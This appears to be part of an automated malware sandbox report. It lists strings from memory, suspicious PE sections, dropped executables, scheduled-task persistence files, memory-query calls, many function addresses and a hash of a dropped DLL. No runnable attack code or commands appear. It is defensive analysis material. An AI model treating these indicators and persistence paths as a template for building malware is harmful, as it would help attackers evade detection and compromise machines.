Source: 1c593ec106.exe, 00000009.00000002.2918001289.0000000000452000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_0f8a039e-2
Source: 1c593ec106.exe, 0000000C.00000002.2917186375.0000000000452000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_267b08d5-7
Source: 1c593ec106.exe, 0000000C.00000002.2917186375.0000000000452000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_c9dee059-b
Source: 1c593ec106.exe, 0000001F.00000002.2919090874.0000000000452000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_3021083a-f
Source: 1c593ec106.exe, 0000001F.00000002.2919090874.0000000000452000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_7e0d4c10-0

PE file contains section with special chars

Source: 8NjcvPNvUr.exe	Static PE information: section name:
Source: 8NjcvPNvUr.exe	Static PE information: section name: .idata
Source: 8NjcvPNvUr.exe	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name:
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name:
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name: .idata
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name:
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name:
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name: .idata
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: axplong.exe.18.dr	Static PE information: section name:
Source: axplong.exe.18.dr	Static PE information: section name: .idata
Source: axplong.exe.18.dr	Static PE information: section name:

PE file has nameless sections

Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C22B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	8_2_6C22B700
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C22B8C0 rand_s,NtQueryVirtualMemory,	8_2_6C22B8C0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C22B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	8_2_6C22B910
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	8_2_6C1CF280

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	File created: C:\Windows\Tasks\explorti.job			Jump to behavior
Source: C:\Users\userKFHCAEGCBF.exe	File created: C:\Windows\Tasks\axplong.job

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_00353068	7_2_00353068
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_00314CF0	7_2_00314CF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_00347D83	7_2_00347D83
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_0035765B	7_2_0035765B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_00314AF0	7_2_00314AF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_00358720	7_2_00358720
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_00356F09	7_2_00356F09
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_0035777B	7_2_0035777B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_00352BD0	7_2_00352BD0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1C35A0	8_2_6C1C35A0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C23542B	8_2_6C23542B
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C23AC00	8_2_6C23AC00
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C205C10	8_2_6C205C10
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C212C10	8_2_6C212C10
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1D5440	8_2_6C1D5440
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C23545C	8_2_6C23545C
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2234A0	8_2_6C2234A0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C22C4A0	8_2_6C22C4A0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1D6C80	8_2_6C1D6C80
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1ED4D0	8_2_6C1ED4D0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C206CF0	8_2_6C206CF0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1D64C0	8_2_6C1D64C0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1CD4E0	8_2_6C1CD4E0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1F0512	8_2_6C1F0512
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1EED10	8_2_6C1EED10
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1DFD00	8_2_6C1DFD00
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2285F0	8_2_6C2285F0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C200DD0	8_2_6C200DD0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C229E30	8_2_6C229E30
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C215600	8_2_6C215600
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C207E10	8_2_6C207E10
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C236E63	8_2_6C236E63
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1E9E50	8_2_6C1E9E50
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1E4640	8_2_6C1E4640
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1CC670	8_2_6C1CC670
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C212E4E	8_2_6C212E4E
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C203E50	8_2_6C203E50
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C224EA0	8_2_6C224EA0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1E5E90	8_2_6C1E5E90
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C22E680	8_2_6C22E680
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2376E3	8_2_6C2376E3
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1CBEF0	8_2_6C1CBEF0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1DFEF0	8_2_6C1DFEF0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1D9F00	8_2_6C1D9F00
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C207710	8_2_6C207710
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2177A0	8_2_6C2177A0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1F6FF0	8_2_6C1F6FF0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1CDFE0	8_2_6C1CDFE0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C20B820	8_2_6C20B820
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C214820	8_2_6C214820
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1D7810	8_2_6C1D7810
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1E8850	8_2_6C1E8850
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1ED850	8_2_6C1ED850
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C20F070	8_2_6C20F070
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1F60A0	8_2_6C1F60A0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2058E0	8_2_6C2058E0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2350C7	8_2_6C2350C7
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1EC0E0	8_2_6C1EC0E0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C21B970	8_2_6C21B970
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C23B170	8_2_6C23B170
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1EA940	8_2_6C1EA940
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1DD960	8_2_6C1DD960
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1FD9B0	8_2_6C1FD9B0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C205190	8_2_6C205190
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C222990	8_2_6C222990
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1CC9A0	8_2_6C1CC9A0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C209A60	8_2_6C209A60
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C232AB0	8_2_6C232AB0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1DCAB0	8_2_6C1DCAB0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C23BA90	8_2_6C23BA90
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1C22A0	8_2_6C1C22A0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1F4AA0	8_2_6C1F4AA0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C20E2F0	8_2_6C20E2F0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C208AC0	8_2_6C208AC0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1E1AF0	8_2_6C1E1AF0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C20D320	8_2_6C20D320
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1C5340	8_2_6C1C5340
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1DC370	8_2_6C1DC370
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1CF380	8_2_6C1CF380
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2353C8	8_2_6C2353C8
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C34AC30	8_2_6C34AC30
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C336C00	8_2_6C336C00
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C27AC60	8_2_6C27AC60
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C26ECC0	8_2_6C26ECC0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2CECD0	8_2_6C2CECD0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3F8D20	8_2_6C3F8D20
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C33ED70	8_2_6C33ED70
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C39AD50	8_2_6C39AD50
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C274DB0	8_2_6C274DB0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C306D90	8_2_6C306D90
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3FCDC0	8_2_6C3FCDC0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C350E20	8_2_6C350E20
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C30EE70	8_2_6C30EE70
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2F6E90	8_2_6C2F6E90
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C27AEC0	8_2_6C27AEC0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C310EC0	8_2_6C310EC0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3B0F20	8_2_6C3B0F20
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C276F10	8_2_6C276F10
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C332F70	8_2_6C332F70
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2DEF40	8_2_6C2DEF40
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3B8FB0	8_2_6C3B8FB0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C27EFB0	8_2_6C27EFB0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C34EFF0	8_2_6C34EFF0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C270FE0	8_2_6C270FE0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2C0820	8_2_6C2C0820
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2FA820	8_2_6C2FA820
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C344840	8_2_6C344840
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3768E0	8_2_6C3768E0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2C6900	8_2_6C2C6900
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2A8960	8_2_6C2A8960
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3309B0	8_2_6C3309B0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3009A0	8_2_6C3009A0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C32A9A0	8_2_6C32A9A0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C38C9E0	8_2_6C38C9E0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2A49F0	8_2_6C2A49F0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C328A30	8_2_6C328A30
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C31EA00	8_2_6C31EA00
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2ECA70	8_2_6C2ECA70
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2EEA80	8_2_6C2EEA80
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C310BA0	8_2_6C310BA0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C376BE0	8_2_6C376BE0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2D4420	8_2_6C2D4420
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2FA430	8_2_6C2FA430
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C288460	8_2_6C288460
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C39A480	8_2_6C39A480
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C30A4D0	8_2_6C30A4D0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2B64D0	8_2_6C2B64D0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C310570	8_2_6C310570
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2D2560	8_2_6C2D2560
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3B8550	8_2_6C3B8550
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2C8540	8_2_6C2C8540
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C374540	8_2_6C374540
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2645B0	8_2_6C2645B0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C33A5E0	8_2_6C33A5E0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2FE5F0	8_2_6C2FE5F0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2CC650	8_2_6C2CC650
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2CE6E0	8_2_6C2CE6E0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C30E6E0	8_2_6C30E6E0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2946D0	8_2_6C2946D0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2F0700	8_2_6C2F0700
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C29A7D0	8_2_6C29A7D0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C338010	8_2_6C338010
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C33C000	8_2_6C33C000
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2BE070	8_2_6C2BE070
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C34C0B0	8_2_6C34C0B0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C2800B0	8_2_6C2800B0
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C268090	8_2_6C268090
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C354130	8_2_6C354130

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: String function: 6C3FDAE0 appears 44 times
